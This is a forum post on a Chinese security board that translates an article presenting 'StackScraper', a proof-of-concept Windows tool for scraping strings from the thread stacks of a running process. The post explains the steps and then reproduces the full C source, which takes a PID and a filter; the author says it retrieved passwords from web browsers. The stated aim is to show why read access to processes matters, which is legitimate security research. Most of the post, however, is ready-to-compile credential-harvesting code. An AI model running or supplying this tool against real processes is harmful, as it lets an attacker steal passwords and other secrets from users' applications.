火绒安全软件

标题: StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据 [打印本页]

作者: 梦幻的彼岸    时间: 2022-2-10 09:47
标题: StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据
本帖最后由 梦幻的彼岸 于 2022-2-10 10:35 编辑

翻译
原文地址:https://www.x86matthew.com/view_post?id=stack_scraper
功能:利用对远程进程的实时堆栈扫描来捕获敏感数据



读取内存的潜在危险常常被安全开发人员所忽视,大部分精力都放在了防止写入不需要的数据上。

我创建这个工具是为了显示在不需要任何注入技术的情况下,可以从一个正在运行的进程中提取多少数据。

这个程序持续扫描目标进程中每个线程的整个堆栈,并提取它发现的任何字符串。它既处理指向字符串的指针,也处理分配在堆栈本身的字符串(局部变量)。

这不是一个精确的工具--它使用了一种非常拙劣的方法,但它确实能返回良好的结果。我已经用这个工具成功地从网络浏览器中检索了密码。这个工具的主要目的是为了强调限制对远程进程的读访问的重要性。
1.gif
我的概念验证工具的工作原理如下:
1. 使用OpenProcess为目标进程创建一个句柄。
2. 使用NtQuerySystemInformation与SystemProcessInformation来检索目标进程中的线程列表。
3. 调用NtOpenThread来打开目标进程中的第一个线程。
4. 用ThreadBasicInformation调用NtQueryInformationThread,以返回远程线程的TEB地址(TebBaseAddress)。
5. 使用ReadProcessMemory从远程进程中读取该线程的整个TEB结构(NT_TIB)。
6. 计算全栈大小(TEB.StackBase - TEB.StackLimit),并使用ReadProcessMemory读取整个栈的内容。
7. 使用ReadProcessMemory读取堆栈上任何指针的数据值,并检查是否有字符串。
8. 通过堆栈数据查看本地字符串变量内容。
9. 对目标进程中的下一个线程返回到步骤#3。对所有剩余的线程重复上述步骤。
10. 回到步骤#2,重新开始。

以下是完整的代码:
  1. #include <stdio.h>
  2. #include <windows.h>

  3. #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
  4. #define SystemProcessInformation 5
  5. #define ThreadBasicInformation 0

  6. // max stack size - 1mb
  7. #define MAX_STACK_SIZE ((1024 * 1024) / sizeof(DWORD))

  8. // max stack string value size - 1kb
  9. #define MAX_STACK_VALUE_SIZE 1024

  10. #define TEMP_LOG_FILENAME "temp_log.txt"

  11. struct CLIENT_ID
  12. {
  13.         HANDLE UniqueProcess;
  14.         HANDLE UniqueThread;
  15. };

  16. struct THREAD_BASIC_INFORMATION
  17. {
  18.         DWORD ExitStatus;
  19.         PVOID TebBaseAddress;
  20.         CLIENT_ID ClientId;
  21.         PVOID AffinityMask;
  22.         DWORD Priority;
  23.         DWORD BasePriority;
  24. };

  25. struct UNICODE_STRING
  26. {
  27.         USHORT Length;
  28.         USHORT MaximumLength;
  29.         PWSTR Buffer;
  30. };

  31. struct OBJECT_ATTRIBUTES
  32. {
  33.         ULONG Length;
  34.         HANDLE RootDirectory;
  35.         UNICODE_STRING *ObjectName;
  36.         ULONG Attributes;
  37.         PVOID SecurityDescriptor;
  38.         PVOID SecurityQualityOfService;
  39. };

  40. struct SYSTEM_PROCESS_INFORMATION
  41. {
  42.         ULONG NextEntryOffset;
  43.         ULONG NumberOfThreads;
  44.         BYTE Reserved1[48];
  45.         UNICODE_STRING ImageName;
  46.         DWORD BasePriority;
  47.         HANDLE UniqueProcessId;
  48.         PVOID Reserved2;
  49.         ULONG HandleCount;
  50.         ULONG SessionId;
  51.         PVOID Reserved3;
  52.         SIZE_T PeakVirtualSize;
  53.         SIZE_T VirtualSize;
  54.         ULONG Reserved4;
  55.         SIZE_T PeakWorkingSetSize;
  56.         SIZE_T WorkingSetSize;
  57.         PVOID Reserved5;
  58.         SIZE_T QuotaPagedPoolUsage;
  59.         PVOID Reserved6;
  60.         SIZE_T QuotaNonPagedPoolUsage;
  61.         SIZE_T PagefileUsage;
  62.         SIZE_T PeakPagefileUsage;
  63.         SIZE_T PrivatePageCount;
  64.         LARGE_INTEGER Reserved7[6];
  65. };

  66. struct SYSTEM_THREAD_INFORMATION
  67. {
  68.     LARGE_INTEGER Reserved1[3];
  69.     ULONG Reserved2;
  70.     PVOID StartAddress;
  71.     CLIENT_ID ClientId;
  72.     DWORD Priority;
  73.     LONG BasePriority;
  74.     ULONG Reserved3;
  75.     ULONG ThreadState;
  76.     ULONG WaitReason;
  77. };

  78. DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
  79. DWORD (WINAPI *NtQueryInformationThread)(HANDLE ThreadHandle, DWORD ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
  80. DWORD (WINAPI *NtOpenThread)(HANDLE *ThreadHandle, DWORD DesiredAccess, OBJECT_ATTRIBUTES *ObjectAttributes, CLIENT_ID *ClientId);

  81. DWORD dwGlobal_Stack[MAX_STACK_SIZE];
  82. HANDLE hGlobal_LogFile = NULL;

  83. SYSTEM_PROCESS_INFORMATION *pGlobal_SystemProcessInfo = NULL;

  84. DWORD GetSystemProcessInformation()
  85. {
  86.         DWORD dwAllocSize = 0;
  87.         DWORD dwStatus = 0;
  88.         DWORD dwLength = 0;
  89.         BYTE *pSystemProcessInfoBuffer = NULL;

  90.         // free previous handle info list (if one exists)
  91.         if(pGlobal_SystemProcessInfo != NULL)
  92.         {
  93.                 free(pGlobal_SystemProcessInfo);
  94.         }

  95.         // get system handle list
  96.         dwAllocSize = 0;
  97.         for(;;)
  98.         {
  99.                 if(pSystemProcessInfoBuffer != NULL)
  100.                 {
  101.                         // free previous inadequately sized buffer
  102.                         free(pSystemProcessInfoBuffer);
  103.                         pSystemProcessInfoBuffer = NULL;
  104.                 }

  105.                 if(dwAllocSize != 0)
  106.                 {
  107.                         // allocate new buffer
  108.                         pSystemProcessInfoBuffer = (BYTE*)malloc(dwAllocSize);
  109.                         if(pSystemProcessInfoBuffer == NULL)
  110.                         {
  111.                                 return 1;
  112.                         }
  113.                 }

  114.                 // get system handle list
  115.                 dwStatus = NtQuerySystemInformation(SystemProcessInformation, (void*)pSystemProcessInfoBuffer, dwAllocSize, &dwLength);
  116.                 if(dwStatus == 0)
  117.                 {
  118.                         // success
  119.                         break;
  120.                 }
  121.                 else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
  122.                 {
  123.                         // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional data between checks)
  124.                         dwAllocSize = (dwLength + 1024);
  125.                 }
  126.                 else
  127.                 {
  128.                         // other error
  129.                         free(pSystemProcessInfoBuffer);
  130.                         return 1;
  131.                 }
  132.         }

  133.         // store handle info ptr
  134.         pGlobal_SystemProcessInfo = (SYSTEM_PROCESS_INFORMATION*)pSystemProcessInfoBuffer;

  135.         return 0;
  136. }

  137. DWORD CheckValidStringCharacter(BYTE bChar)
  138. {
  139.         // check if this is a valid string character
  140.         if(bChar > 0x7F)
  141.         {
  142.                 // invalid character
  143.                 return 1;
  144.         }
  145.         else if(bChar < 0x20 && bChar != '\r' && bChar != '\n')
  146.         {
  147.                 // invalid character
  148.                 return 1;
  149.         }

  150.         return 0;
  151. }

  152. DWORD CheckValidString(char *pString)
  153. {
  154.         DWORD dwLength = 0;
  155.         BYTE *pCurrCharacter = NULL;

  156.         // calculate string length
  157.         dwLength = strlen(pString);

  158.         // string must be at least 5 characters
  159.         if(dwLength < 5)
  160.         {
  161.                 return 1;
  162.         }

  163.         // if string is less than 8 characters, ensure it doesn't contain any non-alphanumeric characters
  164.         // (this removes a lot of "noise")
  165.         if(dwLength < 8)
  166.         {
  167.                 for(DWORD i = 0; i < dwLength; i++)
  168.                 {
  169.                         pCurrCharacter = (BYTE*)(pString + i);
  170.                         if(*pCurrCharacter >= 'a' && *pCurrCharacter <= 'z')
  171.                         {
  172.                                 continue;
  173.                         }
  174.                         else if(*pCurrCharacter >= 'A' && *pCurrCharacter <= 'Z')
  175.                         {
  176.                                 continue;
  177.                         }
  178.                         else if(*pCurrCharacter >= '0' && *pCurrCharacter <= '9')
  179.                         {
  180.                                 continue;
  181.                         }

  182.                         // non-alphanumeric character found
  183.                         return 1;
  184.                 }
  185.         }

  186.         return 0;
  187. }

  188. DWORD CheckAnsiString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
  189. {
  190.         DWORD dwNullFound = 0;
  191.         DWORD dwStringLength = 0;

  192.         // check if this is a valid ansi string
  193.         for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
  194.         {
  195.                 // check string value
  196.                 if(*(BYTE*)(pValue + i) == 0x00)
  197.                 {
  198.                         // null terminator
  199.                         dwNullFound = 1;
  200.                         break;
  201.                 }
  202.                 else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
  203.                 {
  204.                         // invalid string
  205.                         return 1;
  206.                 }
  207.                 else
  208.                 {
  209.                         // valid character
  210.                         dwStringLength++;
  211.                 }
  212.         }

  213.         if(dwNullFound == 0)
  214.         {
  215.                 // invalid string (no null terminator found)
  216.                 return 1;
  217.         }

  218.         if(dwStringLength == 0)
  219.         {
  220.                 // invalid string (blank)
  221.                 return 1;
  222.         }

  223.         // valid ansi string
  224.         _snprintf(pString, dwStringMaxLength, "%s", pValue);

  225.         return 0;
  226. }

  227. DWORD CheckWideCharString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
  228. {
  229.         DWORD dwNullFound = 0;
  230.         DWORD dwStringLength = 0;

  231.         // check if this is a valid widechar string
  232.         for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
  233.         {
  234.                 if(i % 2 == 1)
  235.                 {
  236.                         if(*(BYTE*)(pValue + i) != 0x00)
  237.                         {
  238.                                 // invalid string
  239.                                 return 1;
  240.                         }

  241.                         continue;
  242.                 }

  243.                 // check string value
  244.                 if(*(BYTE*)(pValue + i) == 0x00)
  245.                 {
  246.                         // null terminator
  247.                         dwNullFound = 1;
  248.                         break;
  249.                 }
  250.                 else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
  251.                 {
  252.                         // invalid string
  253.                         return 1;
  254.                 }
  255.                 else
  256.                 {
  257.                         // valid character
  258.                         dwStringLength++;
  259.                 }
  260.         }

  261.         if(dwNullFound == 0)
  262.         {
  263.                 // invalid string (no null terminator found)
  264.                 return 1;
  265.         }

  266.         if(dwStringLength == 0)
  267.         {
  268.                 // invalid string (blank)
  269.                 return 1;
  270.         }

  271.         // valid widechar string
  272.         _snprintf(pString, dwStringMaxLength, "%S", pValue);

  273.         return 0;
  274. }

  275. DWORD CheckLogForDuplicates(char *pString, DWORD *pdwExists)
  276. {
  277.         FILE *pFile = NULL;
  278.         DWORD dwExists = 0;
  279.         char szLine[MAX_STACK_VALUE_SIZE + 4];
  280.         char *pEndOfLine = NULL;

  281.         // open temp log file
  282.         pFile = fopen(TEMP_LOG_FILENAME, "r");
  283.         if(pFile == NULL)
  284.         {
  285.                 return 1;
  286.         }

  287.         // check if this entry already exists in the file
  288.         for(;;)
  289.         {
  290.                 // get line
  291.                 memset(szLine, 0, sizeof(szLine));
  292.                 if(fgets(szLine, sizeof(szLine) - 1, pFile) == 0)
  293.                 {
  294.                         break;
  295.                 }

  296.                 // remove carraige-return
  297.                 pEndOfLine = strstr(szLine, "\r");
  298.                 if(pEndOfLine != NULL)
  299.                 {
  300.                         *pEndOfLine = '\0';
  301.                 }

  302.                 // remove new-line
  303.                 pEndOfLine = strstr(szLine, "\n");
  304.                 if(pEndOfLine != NULL)
  305.                 {
  306.                         *pEndOfLine = '\0';
  307.                 }

  308.                 // check if the current line contains the specified string
  309.                 if(strstr(szLine, pString) != NULL)
  310.                 {
  311.                         // found
  312.                         dwExists = 1;
  313.                         break;
  314.                 }
  315.         }

  316.         // close file handle
  317.         fclose(pFile);

  318.         // store dwExists
  319.         *pdwExists = dwExists;

  320.         return 0;
  321. }

  322. DWORD ProcessStackValue(BYTE *pValue, char *pStringFilter, DWORD *pdwStringDataLength)
  323. {
  324.         BYTE bStackValueCopy[MAX_STACK_VALUE_SIZE + 4];
  325.         char szString[MAX_STACK_VALUE_SIZE];
  326.         DWORD dwBytesWritten = 0;
  327.         DWORD dwExists = 0;
  328.         char *pCurrSearchPtr = NULL;
  329.         DWORD dwMatchesFilter = 0;
  330.         DWORD dwWideCharString = 0;
  331.         DWORD dwOutputStringLength = 0;

  332.         // reset length value
  333.         *pdwStringDataLength = 0;

  334.         // create a copy of the stack value to ensure it is null terminated
  335.         memset(bStackValueCopy, 0, sizeof(bStackValueCopy));
  336.         memcpy(bStackValueCopy, pValue, MAX_STACK_VALUE_SIZE);

  337.         // check if this value is an ANSI string
  338.         memset(szString, 0, sizeof(szString));
  339.         if(CheckAnsiString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
  340.         {
  341.                 // check if this value is a widechar string
  342.                 if(CheckWideCharString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
  343.                 {
  344.                         // not a string - ignore
  345.                         return 1;
  346.                 }

  347.                 // widechar string
  348.                 dwWideCharString = 1;
  349.         }

  350.         // perform further validation on the string
  351.         if(CheckValidString(szString) != 0)
  352.         {
  353.                 return 1;
  354.         }

  355.         // replace '\r' and '\n' characters with dots
  356.         // (we don't want to terminate the string here because it may contain useful information on the following line)
  357.         for(DWORD i = 0; i < strlen(szString); i++)
  358.         {
  359.                 if(szString[i] == '\r')
  360.                 {
  361.                         szString[i] = '.';
  362.                 }
  363.                 else if(szString[i] == '\n')
  364.                 {
  365.                         szString[i] = '.';
  366.                 }
  367.         }

  368.         if(pStringFilter != NULL)
  369.         {
  370.                 // check if this string matches the specified filter
  371.                 pCurrSearchPtr = szString;
  372.                 for(;;)
  373.                 {
  374.                         if(*pCurrSearchPtr == '\0')
  375.                         {
  376.                                 // end of string
  377.                                 break;
  378.                         }

  379.                         // check if the substring exists here
  380.                         if(strnicmp(pCurrSearchPtr, pStringFilter, strlen(pStringFilter)) == 0)
  381.                         {
  382.                                 // found matching substring
  383.                                 dwMatchesFilter = 1;
  384.                                 break;
  385.                         }

  386.                         // move to the next character
  387.                         pCurrSearchPtr++;
  388.                 }
  389.         }
  390.         else
  391.         {
  392.                 // no filter specified - always match
  393.                 dwMatchesFilter = 1;
  394.         }

  395.         if(dwMatchesFilter != 0)
  396.         {
  397.                 // check if this string has already been found
  398.                 if(CheckLogForDuplicates(szString, &dwExists) != 0)
  399.                 {
  400.                         return 1;
  401.                 }

  402.                 if(dwExists == 0)
  403.                 {
  404.                         // calculate string length
  405.                         dwOutputStringLength = strlen(szString);

  406.                         // new string found - write to log
  407.                         if(WriteFile(hGlobal_LogFile, szString, dwOutputStringLength, &dwBytesWritten, NULL) == 0)
  408.                         {
  409.                                 return 1;
  410.                         }

  411.                         // write crlf
  412.                         if(WriteFile(hGlobal_LogFile, "\r\n", strlen("\r\n"), &dwBytesWritten, NULL) == 0)
  413.                         {
  414.                                 return 1;
  415.                         }

  416.                         // store string data length
  417.                         if(dwWideCharString == 0)
  418.                         {
  419.                                 // ansi string
  420.                                 *pdwStringDataLength = dwOutputStringLength;
  421.                         }
  422.                         else
  423.                         {
  424.                                 // widechar string
  425.                                 *pdwStringDataLength = dwOutputStringLength * 2;
  426.                         }

  427.                         // print to console
  428.                         printf("Found string: %s\n", szString);
  429.                 }
  430.         }

  431.         return 0;
  432. }

  433. DWORD GetStackStrings_Pointers(HANDLE hProcess, DWORD dwStackSize, char *pStringFilter)
  434. {
  435.         DWORD *pdwCurrStackPtr = NULL;
  436.         DWORD dwCurrStackValue = 0;
  437.         BYTE bStackValue[MAX_STACK_VALUE_SIZE];
  438.         DWORD dwStringDataLength = 0;

  439.         // get all values from stack
  440.         pdwCurrStackPtr = dwGlobal_Stack;
  441.         for(DWORD i = 0; i < (dwStackSize / sizeof(DWORD)); i++)
  442.         {
  443.                 // get current stack value
  444.                 dwCurrStackValue = *pdwCurrStackPtr;

  445.                 // check if this value is potentially a data ptr
  446.                 if(dwCurrStackValue >= 0x10000)
  447.                 {
  448.                         // attempt to read data from this ptr
  449.                         memset(bStackValue, 0, sizeof(bStackValue));
  450.                         if(ReadProcessMemory(hProcess, (void*)dwCurrStackValue, bStackValue, sizeof(bStackValue), NULL) != 0)
  451.                         {
  452.                                 // process current stack value
  453.                                 dwStringDataLength = 0;
  454.                                 ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
  455.                         }
  456.                 }

  457.                 // move to next stack value
  458.                 pdwCurrStackPtr++;
  459.         }

  460.         return 0;
  461. }

  462. DWORD GetStackStrings_LocalVariables(DWORD dwStackSize, char *pStringFilter)
  463. {
  464.         DWORD dwCopyLength = 0;
  465.         BYTE *pCurrStackPtr = NULL;
  466.         DWORD dwStringDataLength = 0;
  467.         BYTE bStackValue[MAX_STACK_VALUE_SIZE];

  468.         // find strings allocated on stack
  469.         pCurrStackPtr = (BYTE*)dwGlobal_Stack;
  470.         for(DWORD i = 0; i < dwStackSize; i++)
  471.         {
  472.                 // ignore if the current value is null
  473.                 if(*pCurrStackPtr == 0x00)
  474.                 {
  475.                         pCurrStackPtr++;
  476.                         continue;
  477.                 }

  478.                 // calculate number of bytes to copy
  479.                 dwCopyLength = sizeof(dwGlobal_Stack) - i;
  480.                 if(dwCopyLength > sizeof(bStackValue))
  481.                 {
  482.                         dwCopyLength = sizeof(bStackValue);
  483.                 }

  484.                 // copy current data block
  485.                 memset(bStackValue, 0, sizeof(bStackValue));
  486.                 memcpy(bStackValue, pCurrStackPtr, dwCopyLength);

  487.                 // process current stack value
  488.                 dwStringDataLength = 0;
  489.                 ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);

  490.                 if(dwStringDataLength != 0)
  491.                 {
  492.                         // move ptr to the end of the last string
  493.                         pCurrStackPtr += dwStringDataLength;
  494.                 }
  495.                 else
  496.                 {
  497.                         // move ptr to the next byte
  498.                         pCurrStackPtr++;
  499.                 }
  500.         }

  501.         return 0;
  502. }

  503. DWORD GetStackStrings(HANDLE hProcess, HANDLE hThread, DWORD dwThreadID, char *pStringFilter)
  504. {
  505.         THREAD_BASIC_INFORMATION ThreadBasicInformationData;
  506.         NT_TIB ThreadTEB;
  507.         DWORD dwStackSize = 0;

  508.         // get thread basic information
  509.         memset((void*)&ThreadBasicInformationData, 0, sizeof(ThreadBasicInformationData));
  510.         if(NtQueryInformationThread(hThread, ThreadBasicInformation, &ThreadBasicInformationData, sizeof(THREAD_BASIC_INFORMATION), NULL) != 0)
  511.         {
  512.                 return 1;
  513.         }

  514.         // read thread TEB
  515.         memset((void*)&ThreadTEB, 0, sizeof(ThreadTEB));
  516.         if(ReadProcessMemory(hProcess, ThreadBasicInformationData.TebBaseAddress, &ThreadTEB, sizeof(ThreadTEB), NULL) == 0)
  517.         {
  518.                 return 1;
  519.         }

  520.         // calculate thread stack size
  521.         dwStackSize = (DWORD)ThreadTEB.StackBase - (DWORD)ThreadTEB.StackLimit;
  522.         if(dwStackSize > sizeof(dwGlobal_Stack))
  523.         {
  524.                 return 1;
  525.         }

  526.         // read full thread stack
  527.         if(ReadProcessMemory(hProcess, ThreadTEB.StackLimit, dwGlobal_Stack, dwStackSize, NULL) == 0)
  528.         {
  529.                 return 1;
  530.         }

  531.         // read ptrs
  532.         if(GetStackStrings_Pointers(hProcess, dwStackSize, pStringFilter) != 0)
  533.         {
  534.                 return 1;
  535.         }

  536.         // read local variables
  537.         if(GetStackStrings_LocalVariables(dwStackSize, pStringFilter) != 0)
  538.         {
  539.                 return 1;
  540.         }

  541.         return 0;
  542. }

  543. DWORD ReadProcessStackData(HANDLE hProcess, DWORD dwPID, char *pStringFilter)
  544. {
  545.         HANDLE hThread = NULL;
  546.         SYSTEM_PROCESS_INFORMATION *pCurrProcessInfo = NULL;
  547.         SYSTEM_PROCESS_INFORMATION *pNextProcessInfo = NULL;
  548.         SYSTEM_PROCESS_INFORMATION *pTargetProcessInfo = NULL;
  549.         SYSTEM_THREAD_INFORMATION *pCurrThreadInfo = NULL;
  550.         OBJECT_ATTRIBUTES ObjectAttributes;
  551.         DWORD dwStatus = 0;

  552.         // get snapshot of processes/threads
  553.         if(GetSystemProcessInformation() != 0)
  554.         {
  555.                 return 1;
  556.         }

  557.         // find the target process in the list
  558.         pCurrProcessInfo = pGlobal_SystemProcessInfo;
  559.         for(;;)
  560.         {
  561.                 // check if this is the target PID
  562.                 if((DWORD)pCurrProcessInfo->UniqueProcessId == dwPID)
  563.                 {
  564.                         // found target process
  565.                         pTargetProcessInfo = pCurrProcessInfo;
  566.                         break;
  567.                 }

  568.                 // check if this is the end of the list
  569.                 if(pCurrProcessInfo->NextEntryOffset == 0)
  570.                 {
  571.                         // end of list
  572.                         break;
  573.                 }
  574.                 else
  575.                 {
  576.                         // get next process ptr
  577.                         pNextProcessInfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pCurrProcessInfo + pCurrProcessInfo->NextEntryOffset);
  578.                 }

  579.                 // go to next process
  580.                 pCurrProcessInfo = pNextProcessInfo;
  581.         }

  582.         // ensure the target process was found in the list
  583.         if(pTargetProcessInfo == NULL)
  584.         {
  585.                 return 1;
  586.         }

  587.         // loop through all threads within the target process
  588.         pCurrThreadInfo = (SYSTEM_THREAD_INFORMATION*)((BYTE*)pTargetProcessInfo + sizeof(SYSTEM_PROCESS_INFORMATION));
  589.         for(DWORD i = 0; i < pTargetProcessInfo->NumberOfThreads; i++)
  590.         {
  591.                 // open thread
  592.                 memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
  593.                 ObjectAttributes.Length = sizeof(ObjectAttributes);
  594.                 dwStatus = NtOpenThread(&hThread, THREAD_QUERY_INFORMATION, &ObjectAttributes, &pCurrThreadInfo->ClientId);
  595.                 if(dwStatus == 0)
  596.                 {
  597.                         // extract strings from the stack of this thread
  598.                         GetStackStrings(hProcess, hThread, (DWORD)pCurrThreadInfo->ClientId.UniqueThread, pStringFilter);

  599.                         // close handle
  600.                         CloseHandle(hThread);
  601.                 }

  602.                 // move to the next thread
  603.                 pCurrThreadInfo++;
  604.         }

  605.         return 0;
  606. }

  607. DWORD GetNtdllFunctions()
  608. {
  609.         // get NtQueryInformationThread ptr
  610.         NtQueryInformationThread = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
  611.         if(NtQueryInformationThread == NULL)
  612.         {
  613.                 return 1;
  614.         }

  615.         // get NtQuerySystemInformation function ptr
  616.         NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
  617.         if(NtQuerySystemInformation == NULL)
  618.         {
  619.                 return 1;
  620.         }

  621.         // get NtOpenThread function ptr
  622.         NtOpenThread = (unsigned long (__stdcall *)(void ** ,unsigned long,struct OBJECT_ATTRIBUTES *,struct CLIENT_ID *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenThread");
  623.         if(NtOpenThread == NULL)
  624.         {
  625.                 return 1;
  626.         }

  627.         return 0;
  628. }

  629. int main(int argc, char *argv[])
  630. {
  631.         HANDLE hProcess = NULL;
  632.         DWORD dwPID = 0;
  633.         char *pStringFilter = NULL;

  634.         printf("StackScraper - www.x86matthew.com\n\n");

  635.         if(argc != 2 && argc != 3)
  636.         {
  637.                 printf("Usage: %s [pid] [filter:optional]\n\n", argv[0]);

  638.                 return 1;
  639.         }

  640.         // get params
  641.         dwPID = atoi(argv[1]);
  642.         if(argc == 3)
  643.         {
  644.                 pStringFilter = argv[2];
  645.         }

  646.         // get ntdll function ptrs
  647.         if(GetNtdllFunctions() != 0)
  648.         {
  649.                 return 1;
  650.         }

  651.         // open process
  652.         hProcess = OpenProcess(PROCESS_VM_READ, 0, dwPID);
  653.         if(hProcess == NULL)
  654.         {
  655.                 printf("Failed to open process: %u\n", dwPID);

  656.                 return 1;
  657.         }

  658.         printf("Opened process %u successfully\n", dwPID);

  659.         // create a temporary log file to ignore duplicate entries
  660.         hGlobal_LogFile = CreateFile(TEMP_LOG_FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  661.         if(hGlobal_LogFile == INVALID_HANDLE_VALUE)
  662.         {
  663.                 printf("Failed to create temporary log file: '%s'\n", TEMP_LOG_FILENAME);
  664.                 // error
  665.                 CloseHandle(hProcess);

  666.                 return 1;
  667.         }

  668.         // check if a filter was specified
  669.         if(pStringFilter == NULL)
  670.         {
  671.                 printf("Monitoring process stack...\n");
  672.         }
  673.         else
  674.         {
  675.                 printf("Monitoring process stack for strings containing '%s'...\n", pStringFilter);
  676.         }

  677.         // monitor target process
  678.         for(;;)
  679.         {
  680.                 // read stack data from remote process
  681.                 if(ReadProcessStackData(hProcess, dwPID, pStringFilter) != 0)
  682.                 {
  683.                         break;
  684.                 }
  685.         }

  686.         printf("Exiting...\n");

  687.         // close file handle
  688.         CloseHandle(hGlobal_LogFile);

  689.         // close process handle
  690.         CloseHandle(hProcess);

  691.         return 0;
  692. }
复制代码





欢迎光临 火绒安全软件 (https://bbs.huorong.cn/) Powered by Discuz! X3.4